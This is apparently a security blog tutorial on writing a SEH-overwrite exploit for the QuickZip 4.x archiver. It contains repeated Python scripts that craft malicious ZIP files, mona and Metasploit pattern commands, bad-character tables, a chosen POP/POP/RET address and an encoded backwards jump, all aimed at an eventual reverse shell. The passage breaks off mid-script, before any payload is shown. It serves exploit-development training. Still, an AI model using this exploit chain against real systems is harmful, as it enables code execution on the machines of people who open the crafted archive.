Photo by Tomas Sobek on Unsplash

Exploiting QuickZip 4.x

Exploit-Fu

By Andres Roldan | July 01, 2020

In this article, we will create an exploit for QuickZip 4.x versions, leveraging a vulnerability found several years ago. The way it is present, makes the exploitation not a trivial task, due mostly to space restrictions and character mangling. To achieve a successful exploitation, we’ll have to combine several techniques used on the Vulnserver series posts, making it a very good exercise for practicing our Exploit-Fu skills.

The vulnerability was originally found by corelanc0d3r and involves a SEH overwrite.

A quick search on Exploit DB shows only 3 available exploits, two of them related to the 4.x version:

Available exploits

However, one of them triggers a calc.exe and the other shows a MessageBox. In this article, we will build one exploit from-the-scratch that triggers a reverse shell. I will only borrow how the ZIP format sections are built together from the aforementioned exploits.

First PoC

To start, we must know how to create a working ZIP file, so we can have a valid starting point to work on. The following code will create a ZIP file with a single compressed file called ThisIsATestFile1 of 0 bytes:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/web/blog/quickzip-exploit/
"""
import struct

FILENAME = (
    b'ThisIsATestFile1'
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

Let’s check it:

aroldan@balrog:~/quickzip$ ls
exploit.py
aroldan@balrog:~/quickzip$ python3 exploit.py
aroldan@balrog:~/quickzip$ unzip -l exploit.zip
Archive:  exploit.zip
  Length      Date    Time    Name

        0  2020-06-30 13:01   ThisIsATestFile1
        0                     1 file
aroldan@balrog:~/quickzip$ unzip exploit.zip
Archive:  exploit.zip
 extracting: ThisIsATestFile1
aroldan@balrog:~/quickzip$ ls
exploit.py  exploit.zip  ThisIsATestFile1
aroldan@balrog:~/quickzip$ cat ThisIsATestFile1
aroldan@balrog:~/quickzip$

And using QuickZip:

PoC Working

Great! We created a fully working ZIP file using Python.

The bug on QuickZip 4.x appears to be on the way it handles long compressed file names. Let’s update our proof-of-concept (PoC) exploit to replicate the vulnerability. This time, we will send a filename of 1000 chars:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/web/blog/quickzip-exploit/
"""
import struct

FILENAME = (
    b'A' * 1000
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

Now create the malicious ZIP file:

aroldan@balrog:~/quickzip$ python3 exploit.py
aroldan@balrog:~/quickzip$ unzip -l exploit.zip
Archive:  exploit.zip
  Length      Date    Time    Name

        0  2020-06-30 13:01   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

        0                     1 file
aroldan@balrog:~/quickzip$

Good. Now, let’s attach QuickZip to a debugger. In this example we will use Immunity Debugger:

QuickZip crash

Great! We were able to replicate the vulnerability!

If we look at the animation, we see that this time we are facing a SEH overwrite, on where the exception handler and the pointer to the next exception handler (nSEH) were overwritten.

We must now find the exact offset on where the handler gets overwritten. To do that, we will create a cyclic pattern using Metasploit’s pattern_create.rb tool:

$ msf-pattern_create -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

And update our exploit with that:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/web/blog/quickzip-exploit/
"""
import struct

FILENAME = (
    b'<insert pattern here>'
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

Check it:

QuickZip pattern location

As we can see, the SEH handler was overwritten with 6B41396A. We can check the offset with pattern_offset.rb:

$ msf-pattern_offset -q 6B41396A
[*] Exact match at offset 298

Great! The SEH handler starts to be overwritten on byte 298 of our payload.

Update our exploit to reflect that:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/web/blog/quickzip-exploit/
"""
import struct

FILENAME = (
    b'A' * 298 +
    b'B' * 4 +
    b'C' * 698
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

And check it:

QuickZip pattern location

Great! We can now proceed to create a working exploit.

Finding bad chars

In the Vulnserver LTER article, we were faced to a behavior on where certain chars were mangled by the application. As we are exploiting a file name, chances are that there must be certain chars that are not allowed.

We can check that by creating an array with all the possible ASCII chars, injecting it with our exploit and check the mangling results. Let’s do that:

!mona bytearray -cpb '\x00\x0a\x0d\x3a'

This will tell mona to create the array with all the ASCII chars, except some usual suspects:

  1. Null byte 0x00.

  2. Line feed 0x0a.

  3. Carriage return 0x0d.

  4. Colon 0x3a.

In Python3, we can inject the same array using:

EXCLUDE = ('0x0', '0xa', '0xd', '0x3a')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))

We can update our exploit with that:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/web/blog/quickzip-exploit/
"""
import struct

EXCLUDE = ('0x0', '0xa', '0xd', '0x3a')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))

FILENAME = (
    b'A' * 298 +
    b'B' * 4 +
    BADCHARS +
    b'C' * (698 - len(BADCHARS))
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

Check it:

Bad chars

And perform an analysis of our injected buffer using:

!mona cmp -f C:\mona\QuickZip\bytearray.bin -a 000e98b76
[+] Comparing with memory at location : 0x00e98b76 (??)
Only 41 original bytes of 'normal' code found.
    ,-----------------------------------------------.
    | Comparison results:                           |
    |-----------------------------------------------|
  0 |01 02 03 04 05 06 07 08 09 0b 0c 0e 0f 10 11 12| File
    |                                    a4         | Memory
 10 |13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22| File
    |   b6 a7                                       | Memory
 20 |23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32| File
    |                                    5c 00 00 00| Memory
 30 |33 34 35 36 37 38 39 3b 3c 3d 3e 3f 40 41 42 43| File
    |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
 40 |44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53| File
    |00 00 00 00 00 00 41 9c e9 00 00 00 00 00 5a 01| Memory
 50 |54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63| File
    |00 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
 60 |64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73| File
    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
 70 |74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83| File
    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
 80 |84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93| File
    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
 90 |94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3| File
    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
 a0 |a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3| File
    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
 b0 |b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3| File
    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
 c0 |c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3| File
    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
 d0 |d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3| File
    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
 e0 |e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3| File
    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
 f0 |f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff            | File
    |41 41 41 41 41 41 41 41 41 41 41 41            | Memory
    `-----------------------------------------------'

Ughh! Our string was heavily mangled and starting at char 0x2f, it was dropped altogether. We’ll have to add 0x2f to our exclusions and we’ll have to iterate over by removing the dropping chars until we are able to inject all of our 256 chars, even if mangled. Luckily for you, I did the hard-work already and I only had to add the byte 0x5c to the exclusion list of chars that dropped the string.

So, our updated exploit to check bad chars is this:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/web/blog/quickzip-exploit/
"""
import struct

EXCLUDE = ('0x0', '0xa', '0xd', '0x2f', '0x3a', '0x5c')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))

FILENAME = (
    b'A' * 298 +
    b'B' * 4 +
    BADCHARS +
    b'C' * (698 - len(BADCHARS))
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

And the comparison table of mangled chars is this:

[+] Comparing with memory at location : 0x00dff326 (??)
Only 119 original bytes of 'normal' code found.
    ,-----------------------------------------------.
    | Comparison results:                           |
    |-----------------------------------------------|
  0 |01 02 03 04 05 06 07 08 09 0b 0c 0e 0f 10 11 12| File
    |                                    a4         | Memory
 10 |13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22| File
    |   b6 a7                                       | Memory
 20 |23 24 25 26 27 28 29 2a 2b 2c 2d 2e 30 31 32 33| File
    |                                               | Memory
 30 |34 35 36 37 38 39 3b 3c 3d 3e 3f 40 41 42 43 44| File
    |                                               | Memory
 40 |45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54| File
    |                                               | Memory
 50 |55 56 57 58 59 5a 5b 5d 5e 5f 60 61 62 63 64 65| File
    |                                               | Memory
 60 |66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75| File
    |                                               | Memory
 70 |76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85| File
    |                              c7 fc e9 e2 e4 e0| Memory
 80 |86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95| File
    |e5 e7 ea eb e8 ef ee ec c4 c5 c9 e6 c6 f4 f6 f2| Memory
 90 |96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5| File
    |fb f9 ff d6 dc a2 a3 a5 50 83 e1 ed f3 fa f1 d1| Memory
 a0 |a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5| File
    |aa ba bf ac ac bd bc a1 ab bb a6 a6 a6 a6 a6 a6| Memory
 b0 |b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5| File
    |a6 2b 2b a6 a6 2b 2b 2b 2b 2b 2b 2d 2d 2b 2d 2b| Memory
 c0 |c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5| File
    |a6 a6 2b 2b 2d 2d a6 2d 2b 2d 2d 2d 2d 2b 2b 2b| Memory
 d0 |d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5| File
    |2b 2b 2b 2b 2b a6 5f a6 a6 af 61 df 47 70 53 73| Memory
 e0 |e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5| File
    |b5 74 46 54 4f 64 38 66 65 6e 3d b1 3d 3d 28 29| Memory
 f0 |f6 f7 f8 f9 fa fb fc fd fe ff                  | File
    |f7 98 b0 b7 b7 76 6e b2 a6 a0                  | Memory
    `-----------------------------------------------'

                | File        | Memory      | Note
.---------------------------------------------------------
0   0   12  12  | 01 ... 0e   | 01 ... 0e   | unmodified!
12  12  1   1   | 0f          | a4          | corrupted
13  13  4   4   | 10 11 12 13 | 10 11 12 13 | unmodified!
17  17  2   2   | 14 15       | b6 a7       | corrupted
19  19  103 103 | 16 ... 7f   | 16 ... 7f   | unmodified!
.---------------------------------------------------------
122 122 128 128 | 80 ... ff   | c7 ... a0   | corrupted

Possibly bad chars: 0f 14 15 80
Bytes omitted from input: 00 0a 0d 2f 3a 5c

We will have to be very creative in order to use the allowed chars and maybe the mangled ones to our favor.

Exploiting

In order for us to execute our own code, we must first divert the normal execution flow to our controlled buffer. As this is a common SEH overwrite vulnerability, we must search for a POP/POP/RET sequence that ultimately will redirect the execution flow to our buffer.

We must remember to search for pointers that contains our allowed chars:

!mona seh -cp asciiprint,nonull -cm safeseh=off -cpb '\x00\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' -o

This will tell mona to look for pointers that contains bytes that are ASCII-printable, excluding our known bad chars, exclude modules with SafeSEH disabled, and omit pointers of modules of the OS. And the result is:

Found a total of 0 pointers

:(

We have 2 choices: Use OS addresses or allow null bytes on our search. The first option is the easiest one, but our exploit will not be portable. Also, we prefer doing it the hard way!

The main drawback of the second option is that our injected buffer will be dropped when the first null byte is found. But as we are injecting the null byte on the SEH handler address, and we are working on a little endian architecture (x86), the null byte will be the last one to be injected and we will have to use the nSEH field to jump back.

Let’s look for the available pointers of the required POP/POP/RET sequence omitting the OS modules and allowing null bytes:

!mona seh -cp asciiprint -cm safeseh=off -cpb '\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' -o
POP/POP/RET pointers

1225 possible pointers. Not bad. I will choose the one at 00524478 which is also alphanumeric. Let’s update the exploit with that:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/web/blog/quickzip-exploit/
"""
import struct

FILENAME = (
    b'A' * 298 +
    # 00524478   .  59            POP ECX
    # 00524479   .  5D            POP EBP
    # 0052447A   .  C2 0400       RETN 4
    struct.pack('<L', 0x00524478) +
    b'C' * 698
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

When we run it, we are able to reach the POP/POP/RET sequence address:

POP/POP/RET

And we also can see that the rest of our buffer (the part with the C chars) was dropped after the null byte on the POP/POP/RET address:

Dropped buffer

Now, if we execute the sequence POP/POP/RET, we will land on a 4-byte buffer belonging to nSEH:

nSEH

We’ll have to use those 4 bytes to jump back.

Jumping around

We landed at the nSEH field, which is only 4 bytes long. Let’s see the available jump options:

  1. A long jump to the start of our injected buffer is 5 bytes long. Not an option.

  2. A conditional short jump would work.

  3. An unconditional short jump JMP opcode is 0xeb. Not on our allowed chars. Wait…​ Not allowed? If we see the mangling table above, we can see that when we injected the byte 0x89 it was translated to 0xeb. We can use that!

However, a reverse jumping is performed using offsets from 0x80 to 0xff, being 0x80 the farthest. Not on our allowed chars.

Our mangling table comes to the rescue again. We will see that the char 0xa5 is converted to 0xd1 which would do a reverse jump of 44 bytes, on which we will have room to perform an encoded reverse long jump to the start of our buffer and will left us with around 250 bytes to work:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/web/blog/quickzip-exploit/
"""
import struct

FILENAME = (
    b'A' * (298 - 4) +
    # This will be translated to \xeb\xd1 -> 44 bytes backwards
    b'\x89\xa5' +
    # To fill the rest of the nSEH field
    b'A' * 2 +
    # 00524478   .  59            POP ECX
    # 00524479   .  5D            POP EBP
    # 0052447A   .  C2 0400       RETN 4
    struct.pack('<L', 0x00524478) +
    b'C' * 698
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
